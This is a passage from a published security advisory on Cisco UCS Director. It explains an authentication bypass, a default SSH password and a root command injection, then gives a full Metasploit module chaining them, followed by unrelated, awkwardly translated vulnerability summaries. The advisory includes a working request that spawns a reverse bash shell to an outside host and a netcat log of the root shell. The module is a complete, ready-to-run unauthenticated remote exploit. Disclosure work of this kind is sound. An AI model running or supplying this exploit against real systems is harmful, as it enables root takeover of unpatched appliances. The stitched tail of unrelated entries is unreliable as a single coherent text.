logger.info("samlResponse-->" + samlLogoutRequest); if(samlLogoutRequest != null) { this.handleSAMLReponse(request, response, chain, samlLogoutRequest); } else { ^^^ 1.7) if there is no SAMLResponse HTTP parameter, we go into this branch HttpSession session; ProductAccess userBean; String requestedUri; if(this.isStarshipRequest(httpRequest)) { ^^^ 1.8) checks if isStarshipRequest() returns true (function shown below) session = null != httpRequest.getSession(false)?httpRequest.getSession(false):httpRequest.getSession(true); userBean = (ProductAccess)session.getAttribute("USER_IN_SESSION"); if(userBean == null) { ^^^ 1.9) if there is no session server side for this request, follow into this branch... try { userBean = new ProductAccess(); userBean.setCredentialId(""); userBean.setAdminPasswordReset(true); userBean.setProductId("cloupia_service_portal"); userBean.setProfileId(0); userBean.setRestKey(httpRequest.getHeader("X-Starship-Request-Key")); userBean.setStarshipUserId(httpRequest.getHeader("X-Starship-UserName-Key")); userBean.setLoginName("admin"); ^^^ 1.10) and create a new session with the user as "admin"! userBean.setStarshipSessionId(httpRequest.getHeader("X-Starship-UserSession-Key")); requestedUri = httpRequest.getHeader("X-Starship-UserRoles-Key"); userBean.setAccessLevel(requestedUri); if(requestedUri != null && requestedUri.equalsIgnoreCase("admin")) { AuthenticationManager authmgr = AuthenticationManager.getInstance(); userBean.setAccessLevel("Admin"); authmgr.evaluateAllowedOperations(userBean); } session.setAttribute("USER_IN_SESSION", userBean); session.setAttribute("DEFAULT_URL", STARSHIP_DEFAULT_URL); logger.info("userBean:" + userBean.getAccessLevel()); } catch (Exception var12) { logger.info("username/password wrong for rest api access - " + var12.getMessage()); } logger.info("userBean: " + userBean.getAccessLevel()); } chain.doFilter(request, response); (...) } As it can be read in the inline comments in the function above, our first hurdle at 1.5) is to make authenticateUser() return false: private boolean authenticateUser(HttpServletRequest request) { boolean isValidUser = false; HttpSession session = null; session = request.getSession(false); ^^^ 1.11) get the session for this request if(session != null) { ProductAccess user = (ProductAccess)session.getAttribute("USER_IN_SESSION"); if(user != null) { isValidUser = true; if(this.isStarshipRequest(request) && !user.isStarshipAccess(request.getHeader("X-Starship-UserSession-Key"))) { isValidUser = false; } else { logger.debug("AuthenticationFilter:authenticateUser - User " + user.getLoginName() + " has been previously authenticated"); } } } else { logger.info("AuthenticationFilter:authenticateUser - session is null"); ^^^ 1.12) no session found, return isValidUser which is false as set at the start of the function } return isValidUser; } This is easily done, and it works as expected - we do not have a session, so at 1.11) the session is null, and then we go into 1.12) which makes the function return false. We now go back to the doFilter() function, and go into the branch in 1.6). As we have not sent a SAMLResponse HTTP parameter, we follow into the 1.7) branch. Now we get to the critical part in 1.8). Here, isStarshipRequest() is invoked, and if it returns true, the server will create an "admin" session for us... private boolean isStarshipRequest(HttpServletRequest httpRequest) { return null != httpRequest.getHeader("X-Starship-UserSession-Key") && null != httpRequest.getHeader("X-Starship-Request-Key"); } isStarshipRequest() is shown above, and clearly the only thing we need to do to make it return true is to set the X-Starship-UserSession-Key and X-Starship-Request-Key HTTP headers. We then follow into 1.9) and 1.10), and we get our administrative session without having any credentials at all! Moreover, the session is completely stealthy and invisible to other users, as it does not appear in Administration -> Users and Groups -> All Users Login History nor in Administration -> Users and Groups -> Current Online Users. #2 Vulnerability: Default password for 'scpuser' / CWE-798 CVE-2019-1935 Cisco Bug ID: CSCvp19251 [3] Risk Classification: Critical Attack Vector: Remote Constraints: requires auth, does not, etc Affected versions: confirmed in Cisco UCS Director versions 6.6.0 and 6.7.0, see [3] for Cisco's list of affected versions The UCS virtual appliance is configured with a user 'scpuser' that is supposed to be used for scp file transfer between UCS appliances and other Cisco modules. According to Cisco's documentation [7]: "An SCP user is used by server diagnostics and tech support upload operations for transferring files to the Cisco IMC Supervisor appliance using the SCP protocol. An scp user account cannot be used to login to the Cisco IMC Supervisor UI or the shelladmin." The web interface contains functionality to change the user password for the 'scpuser' in Administration -> Users and Groups -> SCP User Configuration, and in this page it says: "The 'scpuser' will be configured on this appliance in order to enable file transfer operations via the 'scp' command. This user account cannot be used to login to the GUI or shelladmin" Apparently this is not true and not only the user can log in via SSH per default, but it does so with a default password of 'scpuser' if it not changed by the administrator after installation: UCS > ssh scpuser@10.0.3.100 Password: <scpuser> [scpuser@localhost ~]$ whoami scpuser #3 Vulnerability: Authenticated command injection via the web interface as root (CWE-78) CVE-2019-1936 Cisco Bug ID: CSCvp19245 [4] Risk Classification: Critical Attack Vector: Remote Constraints: requires authentication to the UCS web interface Affected versions: confirmed in Cisco UCS Director versions 6.6 and 6.7, see [4] for Cisco's list of affected versions As shown in #2, the web interface contains functionality to change the user password for the 'scpuser' in Administration -> Users and Groups -> SCP User Configuration. This is handled by the Java class com.cloupia.feature.cimc.forms.SCPUserConfigurationForm in doFormSubmit(), which is shown below, with my markers and comments preceded with ^^^: public FormResult doFormSubmit(String user, ReportContext context, String formId, FormFieldData[] data) throws Exception { logger.info((Object)"doFormSubmit invoked "); FormResult result = this.validateForm(context, this.getDefinition(), formId, data, true); if (result.getStatus() == 0) { try { SCPUserConfig existingConfig; FormFieldDataList datalist = new FormFieldDataList(data); String password = datalist.getById(FIELD_ID_PASSWORD).getValue(); ^^^ 3.1) gets "password" from the form sent by the user SCPUserConfig newSCPUserConfig = new SCPUserConfig(); newSCPUserConfig.setPassword(password); if ("**********".equals(password) && (existingConfig = CIMCPersistenceUtil.getSCPUserConfig()) != null) { newSCPUserConfig.setPassword(existingConfig.getPassword()); } CIMCPersistenceUtil.setSCPUserConfig(newSCPUserConfig); Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", "echo -e \"" + password + "\\n" + password + "\" | (passwd --stdin " + "scpuser" + ")"}); ^^^ 3.2) runs /bin/sh with "password" argument p.waitFor(); datalist.getById(FIELD_ID_PASSWORD).setValue("**********"); result.setStatus(2); result.setStatusMessage(RBUtil.getString((String)"CIMCControllerFeature.form.scpuser.success.label")); return result; } catch (Exception ex) { result.setStatusMessage(ex.getMessage()); result.setStatus(1); return result; } } return result; } } In 3.1) we see that the function gets the "password" field from the from sent by the user, and in 3.2) it passes this input directly to Runtime.getRuntime().exec(), which leads to a clear command injection. This is run as root, as the web server runs as root and superuser access would be necessary anyway to change a password of another user. To obtain a reverse shell, we can send the following payload to ClientServlet, which will then invoke the SCPUserConfigurationForm.doFormSubmit(): POST /app/ui/ClientServlet HTTP/1.1 Host: 10.0.3.100 Referer: https://10.0.3.100/app/ux/index.html X-Requested-With: XMLHttpRequest Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Content-Length: 945 Cookie: JSESSIONID=C72361B8C66F8FDF871F94C1FC1E07974E9B5B9E1C953D713E4DC305CB2D4CD1 formatType=json&apiName=ExecuteGenericOp&serviceName=InfraMgr&opName=doFormSubmit&opData=%7B%22param0%22%3A%22admin%22%2C%22param1%22%3A%7B%22ids%22%3Anull%2C%22targetCuicId%22%3Anull%2C%22uiMenuTag%22%3A23%2C%22cloudName%22%3Anull%2C%22filterId%22%3Anull%2C%22id%22%3Anull%2C%22type%22%3A10%7D%2C%22param2%22%3A%22scpUserConfig%22%2C%22param3%22%3A%5B%7B%22fieldId%22%3A%22FIELD_ID_USERNAME%22%2C%22value%22%3A%22scpuser%22%7D%2C%7B%22fieldId%22%3A%22FIELD_ID_DESCRIPTION%22%2C%22value%22%3A%22The%20'scpuser'%20will%20be%20configured%20on%20this%20appliance%20in%20order%20to%20enable%20file%20transfer%20operations%20via%20the%20'scp'%20command.%20This%20user%20account%20cannot%20be%20used%20to%20login%20to%20the%20GUI%20or%20shelladmin.%22%7D%2C%7B%22fieldId%22%3A%22FIELD_ID_PASSWORD%22%2C%22value%22%3A%22%60%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%30%2e%33%2e%39%2f%34%34%34%34%20%30%3e%26%31%60%22%7D%5D%7D In the example above, the FIELD_ID_PASSWORD is set to "`bash -i >& /dev/tcp/10.0.3.9/4444 0>&1`", which returns a reverse shell to host 10.0.3.9 on port 4444 running as root: UCS > nc -lvkp 4444 Listening on [0.0.0.0] (family 0, port 4444) Connection from 10.0.3.100 55432 received! bash: no job control in this shell [root@localhost inframgr]# whoami root >> Exploitation summary: By chaining vulnerability #1 (authentication bypass) with vulnerability #3 (authenticated command injection as root), it is clear that an unauthenticated attacker with no privileges on the system can execute code as root, leading to total compromise of Cisco UCS Director. >> Vulnerability Fixes / Mitigation: According to Cisco [2] [3] [4] the three vulnerabilities described in this advisory were fixed in the product versions described below: Cisco IMC Supervisor releases 2.2.1.0 and later Cisco UCS Director releases 6.7.2.0 and later (recommended: 6.7.3.0) Cisco UCS Director Express for Big Data releases 3.7.2.0 and later (recommended: 3.7.3.0) >> References: [1] https://www.cisco.com/c/en/us/support/servers-unified-computing/ucs-director-evaluation/model.html [2] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190821-imcs-ucs-authby [3] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190821-imcs-usercred [4] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190821-imcs-ucs-cmdinj [5] https://www.accenture.com/us-en/service-idefense-security-intelligence [6] https://www.cisco.com/c/en/us/products/servers-unified-computing/ucs-director/index.html [7] https://www.cisco.com/c/en/us/td/docs/unified_computing/ucs/ucs-director/rack-server-guide/6-7/cisco-ucs-director-rack-server-mgmt-guide-67/cisco-ucs-director-rack-server-mgmt-guide-67_chapter_01011.html#task_1599289A49FB49D48486A66A8358A2AD >> Disclaimer: Please note that Agile Information Security (Agile InfoSec) relies on information provided by the vendor when listing fixed versions or products. Agile InfoSec does not verify this information, except when specifically mentioned in this advisory or when requested or contracted by the vendor to do so. Unconfirmed vendor fixes might be ineffective or incomplete, and it is the vendor's responsibility to ensure the vulnerabilities found by Agile Information Security are resolved properly. Agile Information Security Limited does not accept any responsibility, financial or otherwise, from any material losses, loss of life or reputational loss as a result of misuse of the information or code contained or mentioned in this advisory. It is the vendor's responsibility to ensure their products' security before, during and after release to market. All information, code and binary data in this advisory is released to the public under the GNU General Public License, version 3 (GPLv3). For information, code or binary data obtained from other sources that has a license which is incompatible with GPLv3, the original license prevails. For more information check https://www.gnu.org/licenses/gpl-3.0.en.html ================ Agile Information Security Limited http://www.agileinfosec.co.uk/ >> Enabling secure digital business. -- Pedro Ribeiro Vulnerability and Reverse Engineer / Cyber Security Specialist pedrib@gmail.com PGP: 4CE8 5A3D 133D 78BB BC03 671C 3C39 4966 870E 966C . ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Cisco UCS Director Unauthenticated Remote Code Execution', 'Description' => %q{ The Cisco UCS Director virtual appliance contains two flaws that can be combined and abused by an attacker to achieve remote code execution as root. The first one, CVE-2019-1937, is an authentication bypass, that allows the attacker to authenticate as an administrator. This module combines both vulnerabilities to achieve the unauthenticated command injection as root. }, 'Author' => [ 'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2019-1937' ], # auth bypass [ 'CVE', '2019-1936' ], # command injection [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190821-imcs-ucs-authby' ], [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190821-imcs-ucs-cmdinj' ], [ 'URL', 'FULL_DISC' ], [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/cisco-ucs-rce.txt' ] ], 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'DefaultOptions' => { 'payload' => 'cmd/unix/reverse_bash', }, 'Targets' => [ [ 'Cisco UCS Director < 6.7.2.0', {} ], ], 'Privileged' => true, 'DefaultTarget' => 0, 'DisclosureDate' => 'Aug 21 2019' )) register_options( [ Opt::RPORT(443), OptBool.new('SSL', [true, 'Connect with TLS', true]), OptString.new('TARGETURI', [true, "Default server path", '/']), ]) end def check # can't think of anything better then this res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'app', 'ui', 'login'), 'method' => 'GET' }) if res and res.code == 302 return Exploit::CheckCode::Detected end return Exploit::CheckCode::Unknown end def exploit # step 1: get a JSESSIONID cookie res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'app', 'ui', 'login'), 'method' => 'GET' ) if res and (res.code == 200 or res.code == 302) jsession = res.get_cookies.split(';')[0] # step 2: authenticate our cookie as admin res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'app', 'ui', 'ClientServlet'), 'cookie' => jsession, 'vars_get' => { 'apiName' => 'GetUserInfo' }, 'headers' => { # X-Requested-With and Referer headers are needed, else the server ignores us # The X-Starship headers are the key to this auth bypass vuln, see the References 'X-Requested-With' => 'XMLHttpRequest', 'Referer' => "https://#{rhost}#{rport == 443 ? "" : ":" + rport}/", 'X-Starship-UserSession-Key' => "#{rand_text_alpha(5..12)}", 'X-Starship-Request-Key' => "#{rand_text_alpha(5..12)}" }, 'method' => 'GET' }) if res and res.code == 200 and res.body.include?("admin") if not res.get_cookies.empty? # if the server returns a new cookie, use that jsession = res.get_cookies.split(';')[0] end print_good("#{peer} - Successfully bypassed auth and got our admin JSESSIONID cookie!") # step 3: request our reverse shell payload = %{{"param0":"admin","param1":{"ids":null,"targetCuicId":null,"uiMenuTag":23,"cloudName":null,"filterId":null,"id":null,"type":10},"param2":"scpUserConfig","param3":[{"fieldId":"FIELD_ID_USERNAME","value":"scpuser"},{"fieldId":"FIELD_ID_DESCRIPTION","value":"The 'scpuser' will be configured on this appliance in order to enable file transfer operations via the 'scp' command. This user account cannot be used to login to the GUI or shelladmin."},{"fieldId":"FIELD_ID_PASSWORD","value":"`bash -i >& /dev/tcp/#{datastore['LHOST']}/#{datastore['LPORT']} 0>&1 &``"}]}} res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'app', 'ui', 'ClientServlet'), 'cookie' => jsession, 'headers' => { # X-Requested-With and Referer headers are needed, else the server ignores us # The X-Starship headers are the key to this auth bypass vuln, see the References 'X-Requested-With' => 'XMLHttpRequest', 'Referer' => "https://#{rhost}#{rport == 443 ? "" : ":" + rport}/", }, 'method' => 'POST', 'vars_post' => { 'formatType' => 'json', 'apiName' => 'ExecuteGenericOp', 'serviceName' => 'InfraMgr', 'opName' => 'doFormSubmit', 'opData' => payload } }) if res and res.code == 200 print_good("#{peer} - Shelly is here, press ENTER to start playing with her!") end else fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate JSESSIONID cookie") end else fail_with(Failure::Unknown, "#{peer} - Failed to obtain JSESSIONID cookie") end end end

HiSuite with 9.1.0.305 and earlier versions and 9.1.0.305(MAC) and earlier versions and HwBackup with earlier versions before 9.1.1.308 have a brute forcing encrypted backup data vulnerability. Huawei smartphone user backup information can be obtained by brute forcing the password for encrypting the backup. HiSuite and HwBackup Contains an information disclosure vulnerability.Information may be obtained. Both Huawei HiSuite and HwBackup are products of the Chinese company Huawei. Huawei HiSuite is a mobile assistant application for PC. HwBackup is a mobile phone backup data storage program

A vulnerability in Cisco Enterprise Network Functions Virtualization Infrastructure Software (NFVIS) could allow an authenticated, remote attacker with administrator privileges to overwrite files on the underlying operating system (OS) of an affected device. The vulnerability is due to improper input validation in an NFVIS file-system command. An attacker could exploit this vulnerability by using crafted variables during the execution of an affected command. A successful exploit could allow the attacker to overwrite arbitrary files on the underlying OS. The software is primarily used to design, deploy and manage network services and dynamically deploy virtualized network functions on supported Cisco devices

A vulnerability in the web server functionality of Cisco Enterprise Network Functions Virtualization Infrastructure Software (NFVIS) could allow an authenticated, remote attacker to perform file enumeration on an affected system. The vulnerability is due to the web server responding with different error codes for existing and non-existing files. An attacker could exploit this vulnerability by sending GET requests for different file names. A successful exploit could allow the attacker to enumerate files residing on the system

Forcepoint Next Generation Firewall (Forcepoint NGFW) 6.4.x before 6.4.7, 6.5.x before 6.5.4, and 6.6.x before 6.6.2 has a serious authentication vulnerability that potentially allows unauthorized users to bypass password authentication and access services protected by the NGFW Engine. The vulnerability affects the following NGFW features when the LDAP authentication method is used as the backend authentication: IPsec VPN, SSL VPN or Browser-based user authentication. The vulnerability does not apply when any other backend authentication is used. The RADIUS authentication method is not vulnerable, for example. Forcepoint Next Generation Firewall (Forcepoint NGFW) Contains an authentication vulnerability.Information may be obtained and information may be altered. Forcepoint Next Generation Firewall (NGFW) is a next-generation firewall product of Forcepoint Corporation in the United States

Zebra Industrial Printers All Versions, Zebra printers are shipped with unrestricted end-user access to front panel options. If the option to use a passcode to limit the functionality of the front panel is applied, specially crafted packets could be sent over the same network to a port on the printer and the printer will respond with an array of information that includes the front panel passcode for the printer. Once the passcode is retrieved, an attacker must have physical access to the front panel of the printer to enter the passcode to access the full functionality of the front panel. Zebra Industrial Printer Contains vulnerabilities related to certificate and password management.Information may be obtained

An issue was discovered in the Texas Instruments (TI) TM4C, MSP432E and MSP432P microcontroller series. The eXecute-Only-Memory (XOM) implementation prevents code read-outs on protected memory by generating bus faults. However, single-stepping and using breakpoints is allowed in XOM-protected flash memory. As a consequence, it is possible to execute single instructions with arbitrary system states (e.g., registers, status flags, and SRAM content) and observe the state changes produced by the unknown instruction. An attacker could exploit this vulnerability by executing protected and unknown instructions with specific system states and observing the state changes. Based on the gathered information, it is possible to reverse-engineer the executed instructions. The processor acts as a kind of "instruction oracle.". This vulnerability stems from configuration errors in network systems or products during operation. An unauthorized attacker could exploit the vulnerability to obtain sensitive information of the affected components

A vulnerability reported in Lenovo Solution Center version 03.12.003, which is no longer supported, could allow log files to be written to non-standard locations, potentially leading to privilege escalation. Lenovo ended support for Lenovo Solution Center and recommended that customers migrate to Lenovo Vantage or Lenovo Diagnostics in April 2018. Lenovo Solution Center Contains an information disclosure vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. Lenovo Solution Center is a set of computer system monitoring software developed by China Lenovo (Lenovo). The software is capable of identifying system health, the status of network connectivity and overall system security, and more. An attacker could exploit this vulnerability to elevate privileges

IBM DataPower Gateway 2018.4.1.0 through 2018.4.1.6, 7.6.0.0 through 7.6.0.15 and IBM MQ Appliance 8.0.0.0 through 8.0.0.12, 9.1.0.0 through 9.1.0.2, and 9.1.1 through 9.1.2 could allow a local attacker to execute arbitrary commands on the system, caused by a command injection vulnerability. IBM X-Force ID: 16188. Vendors have confirmed this vulnerability IBM X-Force ID: 16188 It is released as.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. IBM DataPower Gateway is a security and integration platform specially designed for mobile, cloud, application programming interface (API), network, service-oriented architecture (SOA), B2B and cloud workloads. The platform secures, integrates and optimizes access across channels with a dedicated gateway platform. The following products and versions are affected: IBM DataPower Gateway 2018.4.1.0 to 2018.4.1.6, DataPower Gateway 7.6.0.0 to 7.6.0.15, DataPower Gateway CD

An exploitable information disclosure vulnerability exists in the Weave MessageLayer parsing of Openweave-core version 4.0.2 and Nest Cam IQ Indoor version 4620002. A specially crafted weave packet can cause an integer overflow to occur, resulting in PacketBuffer data reuse. An attacker can send a packet to trigger this vulnerability. Openweave-core and Nest Cam IQ Indoor Contains an integer overflow vulnerability.Information may be obtained. Openweave-core is a home LAN application protocol stack. It is mainly used for asynchronous, symmetrical, device-to-device and device-to-cloud communication for controlling path and data path message passing